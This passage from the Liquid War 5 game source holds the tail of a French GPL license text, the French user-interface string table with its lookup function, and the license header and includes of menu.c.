presente licence, dont les autorisations, portant sur d'autres concessionnaires, s'etendent a la totalite dont il est question, et ainsi a chacune de ces parties, independamment de celui qu'il a ecrite.\nAinsi, cette section n'a pas pour but de revendiquer des droits ou de contester vos droits sur un ouvrage entierement ecrit par le concessionnaire ; bien plus, l'intention est d'exercer le droit de surveiller la distribution d'ouvrages derivee ou collective se fondant sur le programme.\nDe " "plus, un simple assemblage d'un autre ouvrage ne se fondant pas sur le programme, avec le programme (ou avec un ouvrage se fondant sur le programme) sur un volume d'un support de stockage ou distribution, ne fait pas entrer l'autre ouvrage dans le cadre de la presente licence.\n\n4. Le concessionnaire peut dupliquer et distribuer le programme (ou un ouvrage se fondant sur ce dernier, au titre de la Section 2), en code objet ou sous une forme executable, au titre des dispositions des Sections 1 et 2 ci-dessus, du moment que le concessionnaire effectue aussi l'une des operations suivantes :\na. Lui joindre le code source complet correspondant, exploitable par une machine, code qui doit etre distribue au titre des Sections 1 et 2 ci-dessus sur un support couramment utilise pour l'echange de logiciels ; ou bien\nb. Lui joindre une offre ecrite, dont la validite se prolonge pendant au moins 3 ans, de transmettre a un tiers quelconque, pour un montant non superieur au cout pour le concessionnaire, " "de realisation physique de la distribution de la source, un exemplaire complet, exploitable par une machine, du code source correspondant, qui devra etre distribue au titre des dispositions des Sections 1 et 2 ci-dessus sur un support couramment utilise pour l'echange des logiciels ; ou bien\nc. Lui joindre les informations que le concessionnaire a recues, pour proposer une distribution du code source correspondant (cette variante n'est autorisee que pour la distribution non commerciale, et seulement si le concessionnaire a recu le programme sous forme executable ou sous forme d'un code objet, avec une telle offre, conformement a l'alinea b) ci-dessus).\nLe code source d'un ouvrage represente la forme preferee de l'ouvrage pour y effectuer des modifications. Pour un ouvrage executable, le code source complet represente la totalite du code source pour tous les modules qu'il contient, plus tous fichiers de definitions d'interface associes, plus les informations en code machine pour commander " "la compilation et l'installation du programme executable. Cependant, a titre d'exceptions speciales, le code source distribue n'a pas besoin de comprendre quoi que ce soit qui est normalement distribue (sous forme source ou sous forme binaire) avec les composants principaux (compilateur, noyau de systeme d'exploitation, etc.) du systeme d'exploitation sur lequel est execute le programme executable, a moins que le composant, par lui-meme, soit joint au programme executable.\nSi la distribution de l*executable ou du code objet est realisee de telle sorte qu'elle offre d'acceder a une copie a partir d'un lieu designe, alors le fait d'offrir un acces equivalent a la duplication du code source a partir de ce meme lieu s'entend comme distribution du code source, meme si des tiers ne sont pas contraints de dupliquer la source en meme temps que le code objet.\n\n5. Le concessionnaire ne peut dupliquer, modifier, conceder en sous-licence ou distribuer le programme, sauf si cela est expressement " "prevu par les dispositions de la presente licence. Toute tentative pour autrement dupliquer, modifier, conceder en sous-licence ou distribuer le programme est repetee nulle, et met automatiquement fin aux droits du concessionnaire au titre de la presente licence. Cependant, les parties qui ont recu des copies, ou des droits, de la part du concessionnaire au titre de la presente licence, ne verront pas expirer leur contrat de licence, tant que ces parties agissent d'une maniere parfaitement conforme.\n\n6. Il n'est pas exige du concessionnaire qu'il accepte la presente licence, car il ne l'a pas signee. Cependant, rien d'autre n'octroie au concessionnaire l'autorisation de modifier ou de distribuer le programme ou ses ouvrages derives. Ces actions sont interdites par la loi si le concessionnaire n'accepte pas la presente licence. En consequence, par le fait de modifier ou de distribuer le programme (ou un ouvrage quelconque se fondant sur le programme), le concessionnaire indique qu'il " "accepte la presente licence, et qu'il a la volonte de se conformer a toutes les clauses et dispositions concernant la duplication, la distribution ou la modification du programme ou d'ouvrages se fondant sur ce dernier.\n\n7. Chaque fois que le concessionnaire redistribue le programme (ou tout ouvrage se fondant sur le programme), le destinataire recoit automatiquement une licence de l'emetteur initial de la licence, pour dupliquer, distribuer ou modifier le programme, sous reserve des presentes clauses et dispositions. Le concessionnaire ne peut imposer aucune restriction plus poussee sur l'exercice, par le destinataire, des droits octroyes au titre des presentes. Le concessionnaire n'a pas pour responsabilite d'exiger que des tiers se conforment a la presente licence.\n\n8. Si, en consequence une decision de justice ou une allegation d'infraction au droit des brevets, ou pour toute autre raison (qui n'est pas limitee a des problemes de proprietes industrielles), des conditions sont imposees " "au concessionnaire (par autorite de justice, par convention ou autrement), qui entrent en contradiction avec les dispositions de la presente licence, elles n'exemptent pas le concessionnaire de respecter les dispositions de la presente licence. Si le concessionnaire ne peut proceder a la distribution de facon a satisfaire simultanement a ces obligations au titre de la presente licence et a toutes autres obligations pertinentes, alors, en consequence de ce qui precede, le concessionnaire peut ne pas proceder du tout a la distribution du programme. Par exemple, si une licence de brevet ne permettait pas une redistribution du programme, sans redevances, par tous ceux qui recoivent des copies directement ou indirectement par l'intermediaire du concessionnaire, alors le seul moyen par lequel le concessionnaire pourrait satisfaire tant a cette licence de brevet qu'a la presente licence, consisterait a s'abstenir completement de distribuer le programme.\nSi une partie quelconque de cette section " "est consideree comme nulle ou non executoire dans certaines circonstances particulieres, le reste de cette section est repute s'appliquer, et la section dans son ensemble est consideree comme s'appliquant dans les autres circonstances.\nLa presente section n'a pas pour objet de pousser le concessionnaire a enfreindre tous brevets ou autres revendications a droit de propriete, ou encore a contester la validite de une ou plusieurs quelconques de ces revendications ; la presente section a pour objet unique de proteger l'integrite du systeme de distribution des logiciels libres, systeme qui est mis en oeuvre par les pratiques liees aux licences publiques. De nombreuses personnes ont apporte une forte contribution a la gamme etendue des logiciels distribues par ce systeme, en comptant sur l'application systematique de ce systeme ; c'est a l'auteur/donateur de decider s'il a la volonte de distribuer le logiciel par un quelconque autre systeme, et un concessionnaire ne peut imposer ce choix.\nLa " "presente section veut rendre parfaitement claire ce que l'on pense etre une consequence du reste de la presente licence.\n\n9. Si la distribution et/ou l'utilisation du Programme est restreinte dans certains pays, sous l'effet de brevets ou d'interfaces presentant un droit d'auteur, le detenteur du droit d'auteur original, qui soumet le Programme aux dispositions de la presente licence, pourra ajouter une limitation expresse de distribution geographique excluant ces pays, de facon que la distribution ne soit autorisee que dans les pays ou parmi les pays qui ne sont pas ainsi exclus. Dans ce cas, la limitation fait partie integrante de la presente licence, comme si elle etait ecrite dans le corps de la presente licence.\nLa Free Software Foundation peut, de temps a autre, publier des versions revisees et/ou nouvelles du General Public License. Ces nouvelles versions seront analogues, du point de vue de leur esprit, a la presente version, mais pourront en differer dans le detail, pour resoudre " "de nouveaux problemes ou de nouvelles situations.\nChaque version recoit un numero de version qui lui est propre. Si le programme specifie un numero de version de la presente licence, qui s'applique a cette dernier et \"a toute autre version ulterieure\", le concessionnaire a le choix de respecter les clauses et dispositions de cette version, ou une quelconque version ulterieure publiee par la Free Software Foundation. Si le programme ne specifie pas de numero de version de la presente licence, le concessionnaire pourra choisir une version quelconque publiee a tout moment par la Free Software Foundation.\n\n10. Si le concessionnaire souhaite incorporer des parties du programme dans d'autres programmes libres dont les conditions de distribution sont differentes, il devrait ecrire a l'auteur pour demander son autorisation. Pour un logiciel soumis a droit d'auteur par la Free Software Foundation, il devra ecrire a la Free Software Foundation ; nous faisons quelquefois des exceptions a cette " "regle. Notre decision va etre guidee par le double objectif de proteger le statut libre de tous les derives de nos logiciels libres, et de favoriser le partage et la reutilisation des logiciels en general.\n\nABSENCE DE GARANTIE\n\n11. COMME LA LICENCE DU PROGRAMME EST CONCEDEE A TITRE GRATUIT, IL N'Y A AUCUNE GARANTIE S'APPLIQUANT AU PROGRAMME, DANS LA MESURE AUTORISEE PAR LA LOI EN VIGUEUR. SAUF MENTION CONTRAIRE ECRITE, LES DETENTEURS DU DROIT D'AUTEUR ET/OU LES AUTRES PARTIES METTENT LE PROGRAMME A DISPOSITON \"EN L'ETAT\", SANS AUCUNE GARANTIE DE QUELQUE NATURE QUE CE SOIT, EXPRESSE OU IMPLICITE, Y COMPRIS, MAIS SANS LIMITATION, LES GARANTIES IMPLICITES DE COMMERCIALISATION ET DE L'APTITUDE A UN OBJET PARTICULIER. C'EST LE CONCESSIONNAIRE QUI PREND LA TOTALITE DU RISQUE QUANT A LA QUALITE ET AUX PERFORMANCES DU PROGRAMME. SI LE PROGRAMME SE REVELAIT DEFECTUEUX, C'EST LE CONCESSIONNAIRE QUI PRENDRAIT A SA CHARGE LE COUT DE L'ENSEMBLE DES OPERATIONS NECESSAIRES D'ENTRETIEN, REPARATION " "OU CORRECTION.\n\n12. EN AUCUN CAS, SAUF SI LA LOI EN VIGUEUR L'EXIGE OU SI UNE CONVENTION ECRITE EXISTE A CE SUJET, AUCUN DETENTEUR DE DROITS D'AUTEUR, OU AUCUNE PARTIE AYANT LE POUVOIR DE MODIFIER ET/OU DE REDISTRIBUER LE PROGRAMME CONFORMEMENT AUX AUTORISATIONS CI-DESSUS, N'EST RESPONSABLE VIS-A-VIS DU CONCESSIONNAIRE POUR CE QUI EST DES DOMMAGES, Y COMPRIS TOUS DOMMAGES GENERAUX, SPECIAUX, ACCIDENTELS OU INDIRECTS, RESULTANT DE L'UTILISATION OU DU PROGRAMME OU DE L'IMPOSSIBILITE D'UTILISER LE PROGRAMME (Y COMPRIS, MAIS SANS LIMITATION, LA PERTE DE DONNEES, OU LE FAIT QUE DES DONNEES SONT RENDUES IMPRECISES, OU ENCORE LES PERTES EPROUVEES PAR LE CONCESSIONNAIRE OU PAR DES TIERS, OU ENCORE UN MANQUEMENT DU PROGRAMME A FONCTIONNER AVEC TOUS AUTRES PROGRAMMES), MEME SI CE DETENTEUR OU CETTE AUTRE PARTIE A ETE AVISE DE LA POSSIBILITE DE TELS DOMMAGES.\n\nFIN DES CONDITIONS D'EXPLOITATION\n\nPlus d'informations sur www.ufoot.org/liquidwar/v5\n"; LW_LANGFR_DATA[LW_LANG_STRING_HELP_VERSION] = "Liquid War par U-Foot\n\nv" LW_VERSION " \n\ncompilee le " __DATE__ " a " __TIME__ "\n\nPlus d'informations sur www.ufoot.org/liquidwar/v5\n"; LW_LANGFR_DATA[LW_LANG_STRING_MENU_PLAY] = "Jouer"; LW_LANGFR_DATA[LW_LANG_STRING_MENU_NETGAME] = "Jeu reseau"; LW_LANGFR_DATA[LW_LANG_STRING_MENU_MAP] = "Tableau"; LW_LANGFR_DATA[LW_LANG_STRING_MENU_TEAMS] = "Equipes"; LW_LANGFR_DATA[LW_LANG_STRING_MENU_OPTIONS] = "Options"; LW_LANGFR_DATA[LW_LANG_STRING_MENU_ABOUT] = "A propos"; LW_LANGFR_DATA[LW_LANG_STRING_MENU_EXIT] = "Quitter"; LW_LANGFR_DATA[LW_LANG_STRING_MENU_EXITDOS] = "Revenir a DOS"; LW_LANGFR_DATA[LW_LANG_STRING_MENU_EXITWINDOWS] = "Quitter"; LW_LANGFR_DATA[LW_LANG_STRING_MENU_EXITUNIX] = "Quitter"; LW_LANGFR_DATA[LW_LANG_STRING_MENU_BACK] = "Retour a LW"; LW_LANGFR_DATA[LW_LANG_STRING_DIALOG_QUIT] = "Quitter"; LW_LANGFR_DATA[LW_LANG_STRING_DIALOG_BACK] = "Retour"; LW_LANGFR_DATA[LW_LANG_STRING_DIALOG_PLAY] = "Jouer"; LW_LANGFR_DATA[LW_LANG_STRING_DIALOG_MAIN] = "Accueil"; LW_LANGFR_DATA[LW_LANG_STRING_PLAY_GETREADY] = "C'est parti!"; LW_LANGFR_DATA[LW_LANG_STRING_NETGAME_STARTGAME] = "Demarrer"; LW_LANGFR_DATA[LW_LANG_STRING_NETGAME_SERVERADDR] = "Addr serveur"; LW_LANGFR_DATA[LW_LANG_STRING_NETGAME_SERVERPORT] = "Port serveur"; LW_LANGFR_DATA[LW_LANG_STRING_NETGAME_SEARCH] = "Trouver un serveur sur le Net"; LW_LANGFR_DATA[LW_LANG_STRING_NETGAME_PASSWORD] = "Mot de passe"; LW_LANGFR_DATA[LW_LANG_STRING_NETGAME_WEAKPASSWORD] = "ATTENTION! Choisir un mot de passe simple genre \"bonjour\", car il est stocke sur le disque dur et envoye au serveur en clair."; LW_LANGFR_DATA[LW_LANG_STRING_LANGUAGE_AUTO] = "Automatique"; LW_LANGFR_DATA[LW_LANG_STRING_TEAM_OFF] = "Inactif"; LW_LANGFR_DATA[LW_LANG_STRING_TEAM_HUMAN] = "Joueur"; LW_LANGFR_DATA[LW_LANG_STRING_TEAM_CPU] = "Ordi"; LW_LANGFR_DATA[LW_LANG_STRING_OPTIONS_GRAPHICS] = "Affichage"; LW_LANGFR_DATA[LW_LANG_STRING_OPTIONS_SOUND] = "Son"; LW_LANGFR_DATA[LW_LANG_STRING_OPTIONS_RULES] = "Regles"; LW_LANGFR_DATA[LW_LANG_STRING_OPTIONS_SPEEDS] = "Vitesses"; LW_LANGFR_DATA[LW_LANG_STRING_OPTIONS_CONTROLS] = "Controles"; LW_LANGFR_DATA[LW_LANG_STRING_OPTIONS_LANGUAGE] = "Langue"; LW_LANGFR_DATA[LW_LANG_STRING_OPTIONS_DEFAULT] = "Remise a zero"; LW_LANGFR_DATA[LW_LANG_STRING_GRAPHICS_GAME] = "Jeu"; LW_LANGFR_DATA[LW_LANG_STRING_GRAPHICS_MENU] = "Menu"; LW_LANGFR_DATA[LW_LANG_STRING_GRAPHICS_ON] = "Oui"; LW_LANGFR_DATA[LW_LANG_STRING_GRAPHICS_OFF] = "Non"; LW_LANGFR_DATA[LW_LANG_STRING_GRAPHICS_FULLSCREEN] = "Plein ecran"; LW_LANGFR_DATA[LW_LANG_STRING_GRAPHICS_WINDOWED] = "Fenetre"; LW_LANGFR_DATA[LW_LANG_STRING_GRAPHICS_ADVANCED] = "Opt avancees"; LW_LANGFR_DATA[LW_LANG_STRING_GRAPHICS_VIDEOMODE] = "Mode video"; LW_LANGFR_DATA[LW_LANG_STRING_GRAPHICS_BRIGHTNESS] = "Luminosite"; LW_LANGFR_DATA[LW_LANG_STRING_GRAPHICS_VIEWPORTSIZE] = "Surface"; LW_LANGFR_DATA[LW_LANG_STRING_GRAPHICS_PAGEFLIPPING] = "\"Page flipping\""; LW_LANGFR_DATA[LW_LANG_STRING_GRAPHICS_WAVES] = "Vagues (F4)"; LW_LANGFR_DATA[LW_LANG_STRING_VOLUME_SFX] = "Bruits"; LW_LANGFR_DATA[LW_LANG_STRING_VOLUME_CLICK] = "Clics"; LW_LANGFR_DATA[LW_LANG_STRING_VOLUME_GAMEWATER] = "Eau (jeu)"; LW_LANGFR_DATA[LW_LANG_STRING_VOLUME_MENUWATER] = "Eau (menu)"; LW_LANGFR_DATA[LW_LANG_STRING_VOLUME_MUSIC] = "Musique"; LW_LANGFR_DATA[LW_LANG_STRING_RULES_TIME] = "Temps"; LW_LANGFR_DATA[LW_LANG_STRING_RULES_ADVANCED] = "Opt avancees"; LW_LANGFR_DATA[LW_LANG_STRING_RULES_ARMYSIZE] = "Taille armees"; LW_LANGFR_DATA[LW_LANG_STRING_RULES_CURSOR] = "Curseur"; LW_LANGFR_DATA[LW_LANG_STRING_RULES_DEFAULT] = "Remise a zero"; LW_LANGFR_DATA[LW_LANG_STRING_RULES_MINMAPRES] = "Mini "; LW_LANGFR_DATA[LW_LANG_STRING_ADVANCED_ATTACK] = "Attaque"; LW_LANGFR_DATA[LW_LANG_STRING_ADVANCED_DEFENSE] = "Defense"; LW_LANGFR_DATA[LW_LANG_STRING_ADVANCED_BASEHEALTH] = "Force depart"; LW_LANGFR_DATA[LW_LANG_STRING_ADVANCED_WINNERHELP] = "Aide vainqueur"; LW_LANGFR_DATA[LW_LANG_STRING_ADVANCED_CPUSTRENGTH] = "Force ordi"; LW_LANGFR_DATA[LW_LANG_STRING_ADVANCED_CPUVSHUMAN] = "Ordi vs joueur"; LW_LANGFR_DATA[LW_LANG_STRING_ADVANCED_ALWAYS] = "Toujours"; LW_LANGFR_DATA[LW_LANG_STRING_ADVANCED_RANDOM] = "Au hasard"; LW_LANGFR_DATA[LW_LANG_STRING_ADVANCED_NEVER] = "Jamais"; LW_LANGFR_DATA[LW_LANG_STRING_ADVANCED_ASMALGORITHM] = "Algorithme"; LW_LANGFR_DATA[LW_LANG_STRING_ADVANCED_ASSEMBLY] = "Assembleur"; LW_LANGFR_DATA[LW_LANG_STRING_ADVANCED_STANDARDC] = "C standard"; LW_LANGFR_DATA[LW_LANG_STRING_ADVANCED_ALLOWNETWORKBOTS] = "Bots reseau"; LW_LANGFR_DATA[LW_LANG_STRING_ADVANCED_YES] = "Oui"; LW_LANGFR_DATA[LW_LANG_STRING_ADVANCED_NO] = "Non"; LW_LANGFR_DATA[LW_LANG_STRING_SPEEDS_FPS] = "affich/s"; LW_LANGFR_DATA[LW_LANG_STRING_SPEEDS_NOFPSLIMIT] = "Pas de limite"; LW_LANGFR_DATA[LW_LANG_STRING_SPEEDS_RPS] = "tours/s"; LW_LANGFR_DATA[LW_LANG_STRING_SPEEDS_NORPSLIMIT] = "Pas de limite"; LW_LANGFR_DATA[LW_LANG_STRING_CONTROLS_JOYSTICK] = "Joystick"; LW_LANGFR_DATA[LW_LANG_STRING_CONTROLS_OFF] = "Aucun"; LW_LANGFR_DATA[LW_LANG_STRING_CONTROLS_2JOYSTICKS] = "2 joysticks"; LW_LANGFR_DATA[LW_LANG_STRING_CONTROLS_4BUTTONS] = "4 boutons"; LW_LANGFR_DATA[LW_LANG_STRING_CONTROLS_STANDARD] = "Standard"; LW_LANGFR_DATA[LW_LANG_STRING_CONTROLS_MOUSESENSIB] = "Sensibilite de la souris (jeu)"; LW_LANGFR_DATA[LW_LANG_STRING_ABOUT_CREDITS] = "\"Credits\""; LW_LANGFR_DATA[LW_LANG_STRING_ABOUT_COPYRIGHT] = "Copyright"; LW_LANGFR_DATA[LW_LANG_STRING_ABOUT_LICENSE] = "Licence"; LW_LANGFR_DATA[LW_LANG_STRING_ABOUT_VERSION] = "Version"; LW_LANGFR_DATA[LW_LANG_STRING_INTERNET_REFRESH] = "Rafraichir"; LW_LANGFR_DATA[LW_LANG_STRING_INTERNET_JOINNOW] = "Se connecter"; LW_LANGFR_DATA[LW_LANG_STRING_INTERNET_PORT] = "Port"; LW_LANGFR_DATA[LW_LANG_STRING_INTERNET_PASSWORD] = "Mot de passe"; LW_LANGFR_DATA[LW_LANG_STRING_INTERNET_YES] = "oui"; LW_LANGFR_DATA[LW_LANG_STRING_INTERNET_NO] = "non"; LW_LANGFR_DATA[LW_LANG_STRING_INTERNET_UPTIME] = "Age"; LW_LANGFR_DATA[LW_LANG_STRING_INTERNET_DAYS] = "j"; LW_LANGFR_DATA[LW_LANG_STRING_INTERNET_DAY] = "j"; LW_LANGFR_DATA[LW_LANG_STRING_INTERNET_HOURS] = "h"; LW_LANGFR_DATA[LW_LANG_STRING_INTERNET_MINUTES] = "min"; LW_LANGFR_DATA[LW_LANG_STRING_INTERNET_SECONDS] = "sec"; LW_LANGFR_DATA[LW_LANG_STRING_INTERNET_UNREACHABLE] = "Pas joignable"; LW_LANGFR_DATA[LW_LANG_STRING_INTERNET_PING] = "Ping"; LW_LANGFR_DATA[LW_LANG_STRING_INTERNET_MSEC] = "ms"; LW_LANGFR_DATA[LW_LANG_STRING_WAVE_AMPLI] = "Taille"; LW_LANGFR_DATA[LW_LANG_STRING_WAVE_NUMBER] = "Nombre"; LW_LANGFR_DATA[LW_LANG_STRING_WAVE_SPEED] = "Rapid"; LW_LANGFR_DATA[LW_LANG_STRING_WAVE_WX] = "WX"; LW_LANGFR_DATA[LW_LANG_STRING_WAVE_HY] = "HY"; LW_LANGFR_DATA[LW_LANG_STRING_WAVE_WY] = "WY"; LW_LANGFR_DATA[LW_LANG_STRING_WAVE_HX] = "HX"; LW_LANGFR_DATA[LW_LANG_STRING_CONNECT_STARTNOW] = "Commencer"; LW_LANGFR_DATA[LW_LANG_STRING_CONNECT_WAITING] = "En attente..."; LW_LANGFR_DATA[LW_LANG_STRING_CONNECT_WAITINGFOR] = "Il manque "; LW_LANGFR_DATA[LW_LANG_STRING_CONNECT_TEAMS] = " equipe(s)"; LW_LANGFR_DATA[LW_LANG_STRING_CONNECT_SENDMESSAGE] = "Envoyer"; LW_LANGFR_DATA[LW_LANG_STRING_NETPLAY_CONNECT] = "Connexion"; LW_LANGFR_DATA[LW_LANG_STRING_NETPLAY_PING] = "\"Ping\""; LW_LANGFR_DATA[LW_LANG_STRING_NETPLAY_CHECKPROGRAM] = "Verif prog"; LW_LANGFR_DATA[LW_LANG_STRING_NETPLAY_CHECKVERSION] = "Verif version"; LW_LANGFR_DATA[LW_LANG_STRING_NETPLAY_SENDPASSWORD] = "Mot de passe"; LW_LANGFR_DATA[LW_LANG_STRING_NETPLAY_FREETEAMS] = "Place libre?"; LW_LANGFR_DATA[LW_LANG_STRING_NETPLAY_RESERVETEAMS] = "Reservation"; LW_LANGFR_DATA[LW_LANG_STRING_NETPLAY_SENDCONFIG] = "Envoi conf"; LW_LANGFR_DATA[LW_LANG_STRING_NETPLAY_SENDMAP] = "Envoi tab"; LW_LANGFR_DATA[LW_LANG_STRING_NETPLAY_WAITING] = "En attente..."; LW_LANGFR_DATA[LW_LANG_STRING_NETPLAY_WHOPLAYS] = "Qui joue?"; LW_LANGFR_DATA[LW_LANG_STRING_NETPLAY_RECVCONFIG] = "Lecture conf"; LW_LANGFR_DATA[LW_LANG_STRING_NETPLAY_RECVMAP] = "Lecture tab"; LW_LANGFR_DATA[LW_LANG_STRING_LEVEL_USEDEFAULTTEXTURE] = "Texture par defaut"; LW_LANGFR_DATA[LW_LANG_STRING_LEVEL_ON] = "Oui"; LW_LANGFR_DATA[LW_LANG_STRING_LEVEL_OFF] = "Non"; LW_LANGFR_DATA[LW_LANG_STRING_LEVEL_RANDOMMAP] = "Tableau au hasard"; LW_LANGFR_DATA[LW_LANG_STRING_CODE_FPS] = "affich/s "; LW_LANGFR_DATA[LW_LANG_STRING_CODE_RPS] = "tours/s "; LW_LANGFR_DATA[LW_LANG_STRING_CODE_PERCENTCALC] = "% calcul "; LW_LANGFR_DATA[LW_LANG_STRING_CODE_PERCENTDISPLAY] = "% affichage "; LW_LANGFR_DATA[LW_LANG_STRING_CODE_SPREADGRADTIME] = "Temps calc gradient "; LW_LANGFR_DATA[LW_LANG_STRING_CODE_MOVEARMYTIME] = "Temps deplac armees "; LW_LANGFR_DATA[LW_LANG_STRING_CODE_DISPLAYTIME] = "Temps affichage "; LW_LANGFR_DATA[LW_LANG_STRING_CODE_FLIPTIME] = "Temps \"page flip\" "; LW_LANGFR_DATA[LW_LANG_STRING_CODE_OTHERCALCTIME] = "Temps restant "; LW_LANGFR_DATA[LW_LANG_STRING_CODE_GLOBALTIME] = "Temps total "; LW_LANGFR_DATA[LW_LANG_STRING_CODE_STANDARDDISPLAY] = "Affichage standard"; LW_LANGFR_DATA[LW_LANG_STRING_CODE_GRADIENT1] = "Gradient 1"; LW_LANGFR_DATA[LW_LANG_STRING_CODE_GRADIENT2] = "Gradient 2"; LW_LANGFR_DATA[LW_LANG_STRING_CODE_GRADIENT3] = "Gradient 3"; LW_LANGFR_DATA[LW_LANG_STRING_CODE_GRADIENT4] = "Gradient 4"; LW_LANGFR_DATA[LW_LANG_STRING_CODE_GRADIENT5] = "Gradient 5"; LW_LANGFR_DATA[LW_LANG_STRING_CODE_GRADIENT6] = "Gradient 6"; LW_LANGFR_DATA[LW_LANG_STRING_CODE_MESHSIZE] = "Forme du maillage"; LW_LANGFR_DATA[LW_LANG_STRING_CODE_MESHSTRUCTURE] = "Structure du maillage"; LW_LANGFR_DATA[LW_LANG_STRING_CODE_PAUSEOFF] = "Pause terminee"; LW_LANGFR_DATA[LW_LANG_STRING_CODE_PAUSEON] = "Pause"; LW_LANGFR_DATA[LW_LANG_STRING_CODE_WAVEEFFECTSOFF] = "Pas d'effets de vague"; LW_LANGFR_DATA[LW_LANG_STRING_CODE_WAVEEFFECTSON] = "Effets de vague"; LW_LANGFR_DATA[LW_LANG_STRING_CODE_CAPTUREOFF] = "Capture video desactivee"; LW_LANGFR_DATA[LW_LANG_STRING_CODE_CAPTUREON] = "Capture video activee"; LW_LANGFR_DATA[LW_LANG_STRING_SCORE_WINNER] = "Bravo!"; LW_LANGFR_DATA[LW_LANG_STRING_GAME_BACKMEMFAIL] = "Pb mem \"back\""; LW_LANGFR_DATA[LW_LANG_STRING_GAME_DISPMEMFAIL] = "Pb mem \"disp\""; LW_LANGFR_DATA[LW_LANG_STRING_GAME_MESHMEMFAIL] = "Pb mem \"mesh\""; LW_LANGFR_DATA[LW_LANG_STRING_GAME_AREAMEMFAIL] = "Pb mem \"area\""; LW_LANGFR_DATA[LW_LANG_STRING_GAME_ARMYMEMFAIL] = "Pb mem \"army\""; LW_LANGFR_DATA[LW_LANG_STRING_ERROR_NOTENOUGHTEAMS] = "Pas assez d'equipes.\nIl faut selectionner au moins 2 equipes dans le menu \"Equipes\""; LW_LANGFR_DATA[LW_LANG_STRING_ERROR_NOTENOUGHBIGDATA] = "Pas assez de memoire.\nIl faut choisir un plus petit tableau ou bien lire la documentation et essayer des options du type \"-mem n\"."; LW_LANGFR_DATA[LW_LANG_STRING_ERROR_GRAPHICSINITFAILED] = "Impossible d'initialiser le mode video."; LW_LANGFR_DATA[LW_LANG_STRING_ERROR_NONETWORKSUPPORT] = "Pas de support reseau pour cette plate-forme.\nLe reseau est disponiblre sous Windows et UNIX uniquement."; LW_LANGFR_DATA[LW_LANG_STRING_ERROR_UNABLETOCONNECT] = "Impossible de joindre le serveur.\nIl est peut-etre mal configure, ou bien vous etes derriere un pare-feu (firewall) qui vous empeche de vous connecter."; LW_LANGFR_DATA[LW_LANG_STRING_ERROR_NOTALIQUIDWARSERVER] = "Impossible de communiquer avec le serveur.\nIl semble que ce ne soit pas un serveur Liquid War."; LW_LANGFR_DATA[LW_LANG_STRING_ERROR_WRONGVERSION] = "Probleme de version client/serveur.\nLe client et le serveur doivent avoir la meme version (la version de ce client est \"" LW_VERSION "\")."; LW_LANGFR_DATA[LW_LANG_STRING_ERROR_NETWORKPROBLEM] = "Il y a eu une erreur reseau.\nCela peut arriver si la connexion est trop lente ou bien si elle a ete coupee."; LW_LANGFR_DATA[LW_LANG_STRING_ERROR_CANTSENDMAP] = "Impossible d'envoyer le tableau au serveur."; LW_LANGFR_DATA[LW_LANG_STRING_ERROR_CANTRECEIVEMAP] = "Impossible de recevoir le tableau du serveur."; LW_LANGFR_DATA[LW_LANG_STRING_ERROR_SERVERFULL] = "Ce serveur est plein, il n'accepte plus de nouvelles equipes."; LW_LANGFR_DATA[LW_LANG_STRING_ERROR_BADPASSWORD] = "Mot de passe incorrect."; LW_LANGFR_DATA[LW_LANG_STRING_ERROR_BADCONFIGRANGE] = "Un des parametres de configuration est en dehors des valeurs admises. Soit il y a un bug dans le jeu, soit quelqu'un est en train d'essayer de tricher et/ou de hacker quelque chose."; /* * In the following section we can use accented chars since these * labels are used in system popup windows which are supposed to * handle chars>127, unlike Liquid War graphical functions. */ LW_LANGFR_DATA[LW_LANG_STRING_POPUP_INITFAIL] = "Echec lors de l'initialisation."; LW_LANGFR_DATA[LW_LANG_STRING_POPUP_MEMTROUBLE] = "Pas assez de mmoire pour les bitmaps."; LW_LANGFR_DATA[LW_LANG_STRING_POPUP_BIGDATA] = "Pas assez de mmoire."; LW_LANGFR_DATA[LW_LANG_STRING_POPUP_LOADFAIL] = "Impossible de charger le fichier de donnes. Etes-vous sr que Liquid War est correctement install?"; LW_LANGFR_DATA[LW_LANG_STRING_POPUP_CUSTOMFAIL] = "Impossible de charger les fichiers de donnes utilisateur."; LW_LANGFR_DATA[LW_LANG_STRING_POPUP_GRAPHICSFAIL] = "Impossible de passer en mode graphique."; LW_LANGFR_DATA[LW_LANG_STRING_LW6_INFO] = "Ce programme est obsolete, vous devriez essayer Liquid War 6, disponible sur\n\nhttp://www.gnu.org/software/liquidwar6/\n\nDans tous les cas, Liquid War 5 reste encore disponible et vous pouvez y jouer librement. Seules les failles de securite majeures seront corrigees, ne pas s'attendre a de gros changement sur cette vieille version."; LW_LANGFR_DATA[LW_LANG_STRING_LW6_OK] = "OK"; } /*------------------------------------------------------------------*/ /* returns the French string associated to an id */ /*------------------------------------------------------------------*/ char * lw_langfr_string (int id) { char *result = NULL; if (id >= 0 && id < LW_LANG_NB_STRINGS) { result = LW_LANGFR_DATA[id]; } if (!result) { result = "??? fr"; } return result; } liquidwar-5.6.5/src/menu.c0000664000372000037200000001603213407756104015042 0ustar travistravis/********************************************************************/ /* */ /* L I QQ U U I DD W W A RR 555 */ /* L I Q Q U U I D D W W A A R R 5 */ /* L I Q Q U U I D D W W W AAA RR 55 */ /* L I Q Q U U I D D WW WW A A R R 5 */ /* LLL I Q Q U I DD W W A A R R 55 */ /* */ /* b */ /* bb y y */ /* b b yyy */ /* bb y */ /* yy */ /* */ /* U U FFF O O TTT */ /* U U F O O O O T */ /* U U TIRET FF O O O O T */ /* U U F O O O O T */ /* U F O O T */ /* */ /********************************************************************/ /*****************************************************************************/ /* Liquid War is a multiplayer wargame */ /* Copyright (C) 1998-2018 Christian Mauduit */ /* */ /* This program is free software; you can redistribute it and/or modify */ /* it under the terms of the GNU General Public License as published by */ /* the Free Software Foundation; either version 2 of the License, or */ /* (at your option) any later version. */ /* */ /* This program is distributed in the hope that it will be useful, */ /* but WITHOUT ANY WARRANTY; without even the implied warranty of */ /* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the */ /* GNU General Public License for more details. */ /* */ /* You should have received a copy of the GNU General Public License */ /* along with this program; if not, write to the Free Software */ /* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /* */ /* Liquid War homepage : https://ufoot.org/liquidwar/v5 */ /* Contact author : ufoot@ufoot.org */ /*****************************************************************************/ /********************************************************************/ /* nom : menu.c */ /* contenu : aaffichages des menus principaux */ /* date de modif : 3 mai 98 */ /********************************************************************/ /*==================================================================*/ /* includes */ /*==================================================================*/ #include #include "back.h" #include "dialog.h" #include "disk.h" #include "help.h" #include "level.h" #include "menu.h" #include 